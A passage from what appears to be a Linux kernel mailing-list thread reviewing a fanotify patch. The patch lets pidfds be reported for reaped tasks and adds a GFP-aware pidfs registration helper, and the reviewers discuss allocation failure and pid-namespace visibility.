-		 * already terminated.  Depending on flag FAN_REPORT_FD_ERROR,
-		 * report either -ESRCH or FAN_NOPIDFD to the event listener in
-		 * those cases with all other pidfd creation errors reported as
-		 * the error code itself or as FAN_EPIDFD.
-		 */
-		if (metadata.pid && pid_has_task(event->pid, PIDTYPE_TGID))
-			pidfd = pidfd_prepare(event->pid, 0, &pidfd_file);
+		if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
+			pidfd_flags |= PIDFD_THREAD;
+
+		if (metadata.pid)
+			pidfd = pidfd_prepare(event->pid, pidfd_flags, &pidfd_file);
 
 		if (!FAN_GROUP_FLAG(group, FAN_REPORT_FD_ERROR) && pidfd < 0)
 			pidfd = pidfd == -ESRCH ? FAN_NOPIDFD : FAN_EPIDFD;
@@ -1628,14 +1617,6 @@ SYSCALL_DEFINE2(fanotify_init, unsigned int, flags, unsigned int, event_f_flags)
 #endif
 		return -EINVAL;
 
-	/*
-	 * A pidfd can only be returned for a thread-group leader; thus
-	 * FAN_REPORT_PIDFD and FAN_REPORT_TID need to remain mutually
-	 * exclusive.
-	 */
-	if ((flags & FAN_REPORT_PIDFD) && (flags & FAN_REPORT_TID))
-		return -EINVAL;
-
 	/* Don't allow mixing mnt events with inode events for now */
 	if (flags & FAN_REPORT_MNT) {
 		if (class != FAN_CLASS_NOTIF)
diff --git a/fs/pidfs.c b/fs/pidfs.c
index 1cce4f34a051..e9f6113efc5b 100644
--- a/fs/pidfs.c
+++ b/fs/pidfs.c
@@ -991,14 +991,16 @@ static void pidfs_put_data(void *data)
 }
 
 /**
- * pidfs_register_pid - register a struct pid in pidfs
+ * pidfs_register_pid_gfp - register a struct pid in pidfs with custom GFP
+ * flags
  * @pid: pid to pin
+ * @gfp: GFP flags for memory allocation
  *
- * Register a struct pid in pidfs.
+ * Register a struct pid in pidfs with custom GFP flags.
  *
  * Return: On success zero, on error a negative error code is returned.
  */
-int pidfs_register_pid(struct pid *pid)
+int pidfs_register_pid_gfp(struct pid *pid, gfp_t gfp)
 {
 	struct pidfs_attr *new_attr __free(kfree) = NULL;
 	struct pidfs_attr *attr;
@@ -1014,7 +1016,7 @@ int pidfs_register_pid(struct pid *pid)
 	if (attr)
 		return 0;
 
-	new_attr = kmem_cache_zalloc(pidfs_attr_cachep, GFP_KERNEL);
+	new_attr = kmem_cache_zalloc(pidfs_attr_cachep, gfp);
 	if (!new_attr)
 		return -ENOMEM;
 
@@ -1031,6 +1033,19 @@ int pidfs_register_pid(struct pid *pid)
 	return 0;
 }
 
+/**
+ * pidfs_register_pid - register a struct pid in pidfs
+ * @pid: pid to pin
+ *
+ * Register a struct pid in pidfs.
+ *
+ * Return: On success zero, on error a negative error code is returned.
+ */
+int pidfs_register_pid(struct pid *pid)
+{
+	return pidfs_register_pid_gfp(pid, GFP_KERNEL);
+}
+
 static struct dentry *pidfs_stash_dentry(struct dentry **stashed,
 					 struct dentry *dentry)
 {
diff --git a/include/linux/pidfs.h b/include/linux/pidfs.h
index 416bdff4d6ce..8054f49bc139 100644
--- a/include/linux/pidfs.h
+++ b/include/linux/pidfs.h
@@ -2,6 +2,8 @@
 #ifndef _LINUX_PID_FS_H
 #define _LINUX_PID_FS_H
 
+#include <linux/types.h>
+
 struct coredump_params;
 
 struct file *pidfs_alloc_file(struct pid *pid, unsigned int flags);
@@ -14,6 +16,7 @@ void pidfs_exit(struct task_struct *tsk);
 void pidfs_coredump(const struct coredump_params *cprm);
 #endif
 extern const struct dentry_operations pidfs_dentry_operations;
+int pidfs_register_pid_gfp(struct pid *pid, gfp_t gfp);
 int pidfs_register_pid(struct pid *pid);
 void pidfs_free_pid(struct pid *pid);
 
-- 
2.54.0

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[AnonymeMeow]

On 2026-06-03 13:25 +0200, Christian Brauner wrote:
> On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > >
> > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > >
> > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > the event even when the group has an unlimited queue length.
> > > > >
> > > > > Should we make pidfs registration best-effort instead and still return
> > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > currently it seems we don't have a good way to register the pid with
> > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > approach to handle this situation?
> > > >
> > > > Thanks for noticing the oddity and explaining the options.
> > > >
> > > > We could fail the event in case on ENOMEM because the system
> > > > is likely is a bad shape anyway and other events are likely to fail
> > > > allocation themselves, so I am not objecting to your patch as is,
> > > >
> > > > but I am slightly leaning towards the semantically ambiguous API.
> > >
> > > As usual, I think a semantically ambiguous api should be avoided.
> > >
> > > > I don't think that we are going to change the man page to say that
> > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > and mention the known cases of pid namespace and ENOMEM.
> > >
> > > The pid namespace shouldn't matter.
> > 
> > DO you mean that the event reader inside a pidns always gets a pidfd but
> > it will not be able to query the pid of the process outside the pidns
> > or do you mean something else?
> 
> So they will always get a pidfd since fanotify is correctly using
> pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> to say a pid or retrieve info via the pidfd info ioctl they would fail
> to do so (well, the pid will resolve to 0 which is the global indicator
> for "can't be resolved in your pidns").
> 

Before pidfd_prepare(), fanotify checks whether metadata.pid is
non-zero, i.e. whether the event pid is visible in the reader's pidns.
If it's not visible, fanotify will not create a valid pidfd and return a
FAN_NOPIDFD. This is the existing behavior, and my patches do not change
it.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Christian Brauner]

On Fri, Jun 05, 2026 at 04:29:47AM +0800, AnonymeMeow wrote:
> On 2026-06-03 13:25 +0200, Christian Brauner wrote:
> > On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > > >
> > > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > > >
> > > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > > the event even when the group has an unlimited queue length.
> > > > > >
> > > > > > Should we make pidfs registration best-effort instead and still return
> > > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > > currently it seems we don't have a good way to register the pid with
> > > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > > approach to handle this situation?
> > > > >
> > > > > Thanks for noticing the oddity and explaining the options.
> > > > >
> > > > > We could fail the event in case on ENOMEM because the system
> > > > > is likely is a bad shape anyway and other events are likely to fail
> > > > > allocation themselves, so I am not objecting to your patch as is,
> > > > >
> > > > > but I am slightly leaning towards the semantically ambiguous API.
> > > >
> > > > As usual, I think a semantically ambiguous api should be avoided.
> > > >
> > > > > I don't think that we are going to change the man page to say that
> > > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > > and mention the known cases of pid namespace and ENOMEM.
> > > >
> > > > The pid namespace shouldn't matter.
> > > 
> > > DO you mean that the event reader inside a pidns always gets a pidfd but
> > > it will not be able to query the pid of the process outside the pidns
> > > or do you mean something else?
> > 
> > So they will always get a pidfd since fanotify is correctly using
> > pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> > to say a pid or retrieve info via the pidfd info ioctl they would fail
> > to do so (well, the pid will resolve to 0 which is the global indicator
> > for "can't be resolved in your pidns").
> > 
> 
> Before pidfd_prepare(), fanotify checks whether metadata.pid is
> non-zero, i.e. whether the event pid is visible in the reader's pidns.
> If it's not visible, fanotify will not create a valid pidfd and return a
> FAN_NOPIDFD. This is the existing behavior, and my patches do not change
> it.

We can hand that out. That's another change we should consider. The
pidfd works even if the pid namespace is outside the caller's hierarchy.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Amir Goldstein]

On Fri, Jun 5, 2026 at 9:54 AM Christian Brauner <brauner@kernel.org> wrote:
>
> On Fri, Jun 05, 2026 at 04:29:47AM +0800, AnonymeMeow wrote:
> > On 2026-06-03 13:25 +0200, Christian Brauner wrote:
> > > On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > > > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > > > >
> > > > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > > > >
> > > > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > > > the event even when the group has an unlimited queue length.
> > > > > > >
> > > > > > > Should we make pidfs registration best-effort instead and still return
> > > > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > > > currently it seems we don't have a good way to register the pid with
> > > > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > > > approach to handle this situation?
> > > > > >
> > > > > > Thanks for noticing the oddity and explaining the options.
> > > > > >
> > > > > > We could fail the event in case on ENOMEM because the system
> > > > > > is likely is a bad shape anyway and other events are likely to fail
> > > > > > allocation themselves, so I am not objecting to your patch as is,
> > > > > >
> > > > > > but I am slightly leaning towards the semantically ambiguous API.
> > > > >
> > > > > As usual, I think a semantically ambiguous api should be avoided.
> > > > >
> > > > > > I don't think that we are going to change the man page to say that
> > > > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > > > and mention the known cases of pid namespace and ENOMEM.
> > > > >
> > > > > The pid namespace shouldn't matter.
> > > >
> > > > DO you mean that the event reader inside a pidns always gets a pidfd but
> > > > it will not be able to query the pid of the process outside the pidns
> > > > or do you mean something else?
> > >
> > > So they will always get a pidfd since fanotify is correctly using
> > > pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> > > to say a pid or retrieve info via the pidfd info ioctl they would fail
> > > to do so (well, the pid will resolve to 0 which is the global indicator
> > > for "can't be resolved in your pidns").
> > >
> >
> > Before pidfd_prepare(), fanotify checks whether metadata.pid is
> > non-zero, i.e. whether the event pid is visible in the reader's pidns.
> > If it's not visible, fanotify will not create a valid pidfd and return a
> > FAN_NOPIDFD. This is the existing behavior, and my patches do not change
> > it.
>
> We can hand that out. That's another change we should consider. The
> pidfd works even if the pid namespace is outside the caller's hierarchy.

I don't get the idea of allowing any insight for things outside of a process
namespace to be exposed by fanotify, apart from the information that something
happened on the watched filesystem object.

Thanks,
Amir.

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Christian Brauner]

On Fri, Jun 05, 2026 at 10:15:32AM +0200, Amir Goldstein wrote:
> On Fri, Jun 5, 2026 at 9:54 AM Christian Brauner <brauner@kernel.org> wrote:
> >
> > On Fri, Jun 05, 2026 at 04:29:47AM +0800, AnonymeMeow wrote:
> > > On 2026-06-03 13:25 +0200, Christian Brauner wrote:
> > > > On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > > > > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > > > > >
> > > > > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > > > > >
> > > > > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > > > > the event even when the group has an unlimited queue length.
> > > > > > > >
> > > > > > > > Should we make pidfs registration best-effort instead and still return
> > > > > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > > > > make the API semantically ambiguous. If the kernel guarantees that the
> > > > > > > > event pid is registered with pidfs when pidfd reporting is requested,
> > > > > > > > then a later FAN_NOPIDFD or -ESRCH can only be caused by the task being
> > > > > > > > invisible within the reader's pid namespace. But if we allow best-effort
> > > > > > > > registration, the event may still carry a pinned struct pid, but pidfs
> > > > > > > > registration may have failed due to memory pressure. If userspace reads
> > > > > > > > the event after the task has been reaped, it still gets a FAN_NOPIDFD
> > > > > > > > or -ESRCH due to failed pidfs registration caused by memory pressure,
> > > > > > > > IMO this should be reported as a -ENOMEM instead of -ESRCH. But
> > > > > > > > currently it seems we don't have a good way to register the pid with
> > > > > > > > __GFP_NOFAIL or __GFP_RETRY_MAYFAIL, so what would be the preferred
> > > > > > > > approach to handle this situation?
> > > > > > >
> > > > > > > Thanks for noticing the oddity and explaining the options.
> > > > > > >
> > > > > > > We could fail the event in case on ENOMEM because the system
> > > > > > > is likely is a bad shape anyway and other events are likely to fail
> > > > > > > allocation themselves, so I am not objecting to your patch as is,
> > > > > > >
> > > > > > > but I am slightly leaning towards the semantically ambiguous API.
> > > > > >
> > > > > > As usual, I think a semantically ambiguous api should be avoided.
> > > > > >
> > > > > > > I don't think that we are going to change the man page to say that
> > > > > > > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > > > > > > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > > > > > > and mention the known cases of pid namespace and ENOMEM.
> > > > > >
> > > > > > The pid namespace shouldn't matter.
> > > > >
> > > > > DO you mean that the event reader inside a pidns always gets a pidfd but
> > > > > it will not be able to query the pid of the process outside the pidns
> > > > > or do you mean something else?
> > > >
> > > > So they will always get a pidfd since fanotify is correctly using
> > > > pidfd_prepare() directly. But when the reader tries to resolve the pidfd
> > > > to say a pid or retrieve info via the pidfd info ioctl they would fail
> > > > to do so (well, the pid will resolve to 0 which is the global indicator
> > > > for "can't be resolved in your pidns").
> > > >
> > >
> > > Before pidfd_prepare(), fanotify checks whether metadata.pid is
> > > non-zero, i.e. whether the event pid is visible in the reader's pidns.
> > > If it's not visible, fanotify will not create a valid pidfd and return a
> > > FAN_NOPIDFD. This is the existing behavior, and my patches do not change
> > > it.
> >
> > We can hand that out. That's another change we should consider. The
> > pidfd works even if the pid namespace is outside the caller's hierarchy.
> 
> I don't get the idea of allowing any insight for things outside of a process
> namespace to be exposed by fanotify, apart from the information that something
> happened on the watched filesystem object.

If you only hand out the pid it's useless. If you have a pidfd you have
reliable identity. You can use the pidfd-id (aka the 64-bit inode
number) as an index into a hashtable for example and have a table of
event generating tasks. If the task is dead the pidfd tells you that and
you can delete it from the table. Or if you already hold a pidfd for the
task and have e.g., isolated yourself in another pid namespace you can
still figure out what task generated the event.

Don't necessarily discount the ability to have a stable handle with a
unique identifier per event. :)

Re: [DRAFT][PATCH] fanotify: lift pidfd reporting restrictions

[Amir Goldstein]

On Thu, Jun 4, 2026 at 9:47 PM AnonymeMeow <anonymemeow@gmail.com> wrote:
>
> The FAN_REPORT_PIDFD and FAN_REPORT_TID flags used to be mutually
> exclusive because by the time the pidfd support was introduced to
> fanotify, pidfds could only be created for thread group leaders. Now
> that the pidfd API supports thread-specific pidfds via PIDFD_THREAD,
> this restriction can be lifted.
>
> Fanotify used to refuse to report pidfds for reaped tasks by applying a
> pid_has_task() check before calling pidfd_prepare(). This prevented
> userspace from obtaining information about the task.
>
> Register the event pid with pidfs when creating the fanotify event if
> pidfd reporting was requested, so pidfd_prepare() can later create a
> pidfd for the reaped task.
>
> Signed-off-by: AnonymeMeow <anonymemeow@gmail.com>
> ---
>
> On 2026-06-03 12:00 +0200, Amir Goldstein wrote:
> >
> > Thanks for noticing the oddity and explaining the options.
> >
> > We could fail the event in case on ENOMEM because the system
> > is likely is a bad shape anyway and other events are likely to fail
> > allocation themselves, so I am not objecting to your patch as is,
>
> The existing behavior of fanotify is that, for groups with unlimited
> event queues, event allocation is performed with __GFP_NOFAIL and
> therefore must not fail. For groups with limited queues, event allocation
> uses __GFP_RETRY_MAYFAIL, which avoids entering the OOM path.
>
> Currently, pidfs_register_pid() uses hardcoded GFP_KERNEL. For non-costly
> allocations(pid attr falls into this category, am I right?), this is
> almost no-fail, but it will not avoid the OOM path. That means it can
> bypass fanotify's OOM-killer avoidance mitigation for limited queues
> and potentially trigger the OOM killer in the monitoring memcg under
> memory pressure, breaking the intended security isolation, as sashiko
> mentioned. In the meanwhile, GFP_KERNEL does not guarantee no-fail in
> all corner cases, so for unlimited queues, it can still cause events
> to be dropped under memory pressure, this is also reported by sashiko.
>
> Since this patch set is meant to be a functional enhancement, I think
> dropping events from an unlimited queue is not acceptable and can be
> a regression.
>
> The cleanest solution I can come up with is something like this patch.
> (I squashed the commits so that sashiko can apply the patch correctly)
> It adds a pidfs registration helper that takes a gfp_t argument, and
> fanotify registers the pid before allocating the event. With an unlimited
> queue, both pid registration and event allocation are no-fail, the
> existing behavior is preserved. With a limited queue, if pid registration
> fails with ENOMEM, fanotify simply returns NULL and drops the event,
> just like it would do if event allocation itself failed with
> __GFP_RETRY_MAYFAIL.
>
> This also avoids having to destroy an already allocated event on pid
> registration failure. Since the pid reference is only taken when
> assigning the event->pid field, there is no extra put_pid() path needed
> either. And this guarantees that whenever event allocation succeeds,
> the pid has already been registered with pidfs, so userspace can
> reliably get a pidfd later. The API semantics are no longer ambiguous.
>
> I also originally thought pidfs_register_pid() did not need to run in
> the target memcg because it does not explicitly use __GFP_ACCOUNT.
> However, pidfs_attr_cachep is created with SLAB_ACCOUNT, so the
> registration should also happen inside the set_active_memcg() scope.
> This version does that.
>
> But I don't know whether this amount of churn is justified for a
> relatively small feature enhancement. For the next revision, I am
> still inclined to send the simpler best-effort registration approach,
> unless reviewers think this stricter version is preferable.

For the record, this is not "churn":
>  fs/pidfs.c                         | 23 +++++++++++++++++----
"churn" is a patch that touches many files/lines, clutters git blame history
and impares backport of fixes.

It's a new interface which the fanotify caller needs to operate correctly.
The only question is whether it is worth the energy of discussing it ;)
but since we did that already, if Christian is on board with some form
of pidfs_register_pid_gfp() (maybe just change the few callers), then
I think this patch represents the most clean and correct way of dealing
with FAN_REPORT_PIDFD.

Thanks,
Amir


>
> In the best-effort version, fanotify would allocate the event first
> and then try to register the pid with pidfs using the existing
> GFP_KERNEL flag. If registration fails, the event is still queued.
> This does mean that pidfd creation at read time is not guarenteed to
> succeed if the task has already been reaped, and it also means the
> registration allocation may enter the OOM path even though the event
> allocation used __GFP_RETRY_MAYFAIL. But I think accepting that very
> small corner cases may be preferable if it avoids most of the
> additional code churn.
>
> With Best Regards,
> Anonymemeow
>
> >
> > but I am slightly leaning towards the semantically ambiguous API.
> >
> > I don't think that we are going to change the man page to say that
> > FAN_REPORT_PIDFD is guaranteed to return a pidfd, maybe we just
> > add a NOTE about increased likelihood of getting a pidfd since kernel XXX
> > and mention the known cases of pid namespace and ENOMEM.
> >
> > Thanks,
> > Amir.
> >
>
> ---
>  fs/notify/fanotify/fanotify.c      | 17 +++++++++------
>  fs/notify/fanotify/fanotify_user.c | 33 +++++++-----------------------
>  fs/pidfs.c                         | 23 +++++++++++++++++----
>  include/linux/pidfs.h              |  3 +++
>  4 files changed, 40 insertions(+), 36 deletions(-)
>
> diff --git a/fs/notify/fanotify/fanotify.c b/fs/notify/fanotify/fanotify.c
> index 38290b9c07f7..ece9523e775b 100644
> --- a/fs/notify/fanotify/fanotify.c
> +++ b/fs/notify/fanotify/fanotify.c
> @@ -14,6 +14,7 @@
>  #include <linux/sched/mm.h>
>  #include <linux/statfs.h>
>  #include <linux/stringhash.h>
> +#include <linux/pidfs.h>
>
>  #include "fanotify.h"
>
> @@ -842,6 +843,15 @@ static struct fanotify_event *fanotify_alloc_event(
>         /* Whoever is interested in the event, pays for the allocation. */
>         old_memcg = set_active_memcg(group->memcg);
>
> +       if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
> +               pid = task_pid(current);
> +       else
> +               pid = task_tgid(current);
> +
> +       if (FAN_GROUP_FLAG(group, FAN_REPORT_PIDFD) &&
> +           pidfs_register_pid_gfp(pid, gfp))
> +               goto out;
> +
>         if (fanotify_is_perm_event(mask)) {
>                 event = fanotify_alloc_perm_event(data, data_type, gfp);
>         } else if (fanotify_is_error_event(mask)) {
> @@ -863,15 +873,10 @@ static struct fanotify_event *fanotify_alloc_event(
>         if (!event)
>                 goto out;
>
> -       if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
> -               pid = get_pid(task_pid(current));
> -       else
> -               pid = get_pid(task_tgid(current));
> -
>         /* Mix event info, FAN_ONDIR flag and pid into event merge key */
>         hash ^= hash_long((unsigned long)pid | ondir, FANOTIFY_EVENT_HASH_BITS);
>         fanotify_init_event(event, hash, mask);
> -       event->pid = pid;
> +       event->pid = get_pid(pid);
>
>  out:
>         set_active_memcg(old_memcg);
> diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
> index ae904451dfc0..b604e3da58ad 100644
> --- a/fs/notify/fanotify/fanotify_user.c
> +++ b/fs/notify/fanotify/fanotify_user.c
> @@ -19,6 +19,7 @@
>  #include <linux/memcontrol.h>
>  #include <linux/statfs.h>
>  #include <linux/exportfs.h>
> +#include <linux/pidfd.h>
>
>  #include <asm/ioctls.h>
>
> @@ -903,25 +904,13 @@ static ssize_t copy_event_to_user(struct fsnotify_group *group,
>                 metadata.fd = fd >= 0 ? fd : FAN_NOFD;
>
>         if (pidfd_mode) {
> -               /*
> -                * Complain if the FAN_REPORT_PIDFD and FAN_REPORT_TID mutual
> -                * exclusion is ever lifted. At the time of incoporating pidfd
> -                * support within fanotify, the pidfd API only supported the
> -                * creation of pidfds for thread-group leaders.
> -                */
> -               WARN_ON_ONCE(FAN_GROUP_FLAG(group, FAN_REPORT_TID));
> +               unsigned int pidfd_flags = PIDFD_STALE;
>
> -               /*
> -                * The PIDTYPE_TGID check for an event->pid is performed
> -                * preemptively in an attempt to catch out cases where the event
> -                * listener reads events after the event generating process has
> -                * already terminated.  Depending on flag FAN_REPORT_FD_ERROR,
> -                * report either -ESRCH or FAN_NOPIDFD to the event listener in
> -                * those cases with all other pidfd creation errors reported as
> -                * the error code itself or as FAN_EPIDFD.
> -                */
> -               if (metadata.pid && pid_has_task(event->pid, PIDTYPE_TGID))
> -                       pidfd = pidfd_prepare(event->pid, 0, &pidfd_file);
> +               if (FAN_GROUP_FLAG(group, FAN_REPORT_TID))
> +                       pidfd_flags |= PIDFD_THREAD;
> +
> +               if (metadata.pid)
> +                       pidfd = pidfd_prepare(event->pid, pidfd_flags, &pidfd_file);
>
>                 if (!FAN_GROUP_FLAG(group, FAN_REPORT_FD_ERROR) && pidfd < 0)
>                         pidfd = pidfd == -ESRCH ? FAN_NOPIDFD : FAN_EPIDFD;
> @@ -1628,14 +1617,6 @@ SYSCALL_DEFINE2(fanotify_init, unsigned int, flags, unsigned int, event_f_flags)
>  #endif
>                 return -EINVAL;
>
> -       /*
> -        * A pidfd can only be returned for a thread-group leader; thus
> -        * FAN_REPORT_PIDFD and FAN_REPORT_TID need to remain mutually
> -        * exclusive.
> -        */
> -       if ((flags & FAN_REPORT_PIDFD) && (flags & FAN_REPORT_TID))
> -               return -EINVAL;
> -
>         /* Don't allow mixing mnt events with inode events for now */
>         if (flags & FAN_REPORT_MNT) {
>                 if (class != FAN_CLASS_NOTIF)
> diff --git a/fs/pidfs.c b/fs/pidfs.c
> index 1cce4f34a051..e9f6113efc5b 100644
> --- a/fs/pidfs.c
> +++ b/fs/pidfs.c
> @@ -991,14 +991,16 @@ static void pidfs_put_data(void *data)
>  }
>
>  /**
> - * pidfs_register_pid - register a struct pid in pidfs
> + * pidfs_register_pid_gfp - register a struct pid in pidfs with custom GFP
> + * flags
>   * @pid: pid to pin
> + * @gfp: GFP flags for memory allocation
>   *
> - * Register a struct pid in pidfs.
> + * Register a struct pid in pidfs with custom GFP flags.
>   *
>   * Return: On success zero, on error a negative error code is returned.
>   */
> -int pidfs_register_pid(struct pid *pid)
> +int pidfs_register_pid_gfp(struct pid *pid, gfp_t gfp)
>  {
>         struct pidfs_attr *new_attr __free(kfree) = NULL;
>         struct pidfs_attr *attr;
> @@ -1014,7 +1016,7 @@ int pidfs_register_pid(struct pid *pid)
>         if (attr)
>                 return 0;
>
> -       new_attr = kmem_cache_zalloc(pidfs_attr_cachep, GFP_KERNEL);
> +       new_attr = kmem_cache_zalloc(pidfs_attr_cachep, gfp);
>         if (!new_attr)
>                 return -ENOMEM;
>
> @@ -1031,6 +1033,19 @@ int pidfs_register_pid(struct pid *pid)
>         return 0;
>  }
>
> +/**
> + * pidfs_register_pid - register a struct pid in pidfs
> + * @pid: pid to pin
> + *
> + * Register a struct pid in pidfs.
> + *
> + * Return: On success zero, on error a negative error code is returned.
> + */
> +int pidfs_register_pid(struct pid *pid)
> +{
> +       return pidfs_register_pid_gfp(pid, GFP_KERNEL);
> +}
> +
>  static struct dentry *pidfs_stash_dentry(struct dentry **stashed,
>                                          struct dentry *dentry)
>  {
> diff --git a/include/linux/pidfs.h b/include/linux/pidfs.h
> index 416bdff4d6ce..8054f49bc139 100644
> --- a/include/linux/pidfs.h
> +++ b/include/linux/pidfs.h
> @@ -2,6 +2,8 @@
>  #ifndef _LINUX_PID_FS_H
>  #define _LINUX_PID_FS_H
>
> +#include <linux/types.h>
> +
>  struct coredump_params;
>
>  struct file *pidfs_alloc_file(struct pid *pid, unsigned int flags);
> @@ -14,6 +16,7 @@ void pidfs_exit(struct task_struct *tsk);
>  void pidfs_coredump(const struct coredump_params *cprm);
>  #endif
>  extern const struct dentry_operations pidfs_dentry_operations;
> +int pidfs_register_pid_gfp(struct pid *pid, gfp_t gfp);
>  int pidfs_register_pid(struct pid *pid);
>  void pidfs_free_pid(struct pid *pid);
>
> --
> 2.54.0
>

Re: [PATCH v4 2/2] fanotify: allow reporting pidfds for reaped tasks

[Amir Goldstein]

On Fri, Jun 5, 2026 at 10:20 AM Christian Brauner <brauner@kernel.org> wrote:
>
> On Fri, Jun 05, 2026 at 10:15:32AM +0200, Amir Goldstein wrote:
> > On Fri, Jun 5, 2026 at 9:54 AM Christian Brauner <brauner@kernel.org> wrote:
> > >
> > > On Fri, Jun 05, 2026 at 04:29:47AM +0800, AnonymeMeow wrote:
> > > > On 2026-06-03 13:25 +0200, Christian Brauner wrote:
> > > > > On Wed, Jun 03, 2026 at 12:58:09PM +0200, Amir Goldstein wrote:
> > > > > > On Wed, Jun 3, 2026 at 12:28 PM Christian Brauner <brauner@kernel.org> wrote:
> > > > > > >
> > > > > > > On Wed, Jun 03, 2026 at 12:00:42PM +0200, Amir Goldstein wrote:
> > > > > > > > On Wed, Jun 3, 2026 at 5:11 AM AnonymeMeow <anonymemeow@gmail.com> wrote:
> > > > > > > > >
> > > > > > > > > Sashiko said that pidfs_register_pid() can fail under memory pressure,
> > > > > > > > > since it allocates memory using GFP_KERNEL without a way to pass in
> > > > > > > > > __GFP_NOFAIL. This can cause fanotify_alloc_event() to silently drop
> > > > > > > > > the event even when the group has an unlimited queue length.
> > > > > > > > >
> > > > > > > > > Should we make pidfs registration best-effort instead and still return
> > > > > > > > > the allocated event if pidfs_register_pid() fails? But IMO this will
> > > > > > > > > make the API semantically ambiguous. If the kernel guarantees that the
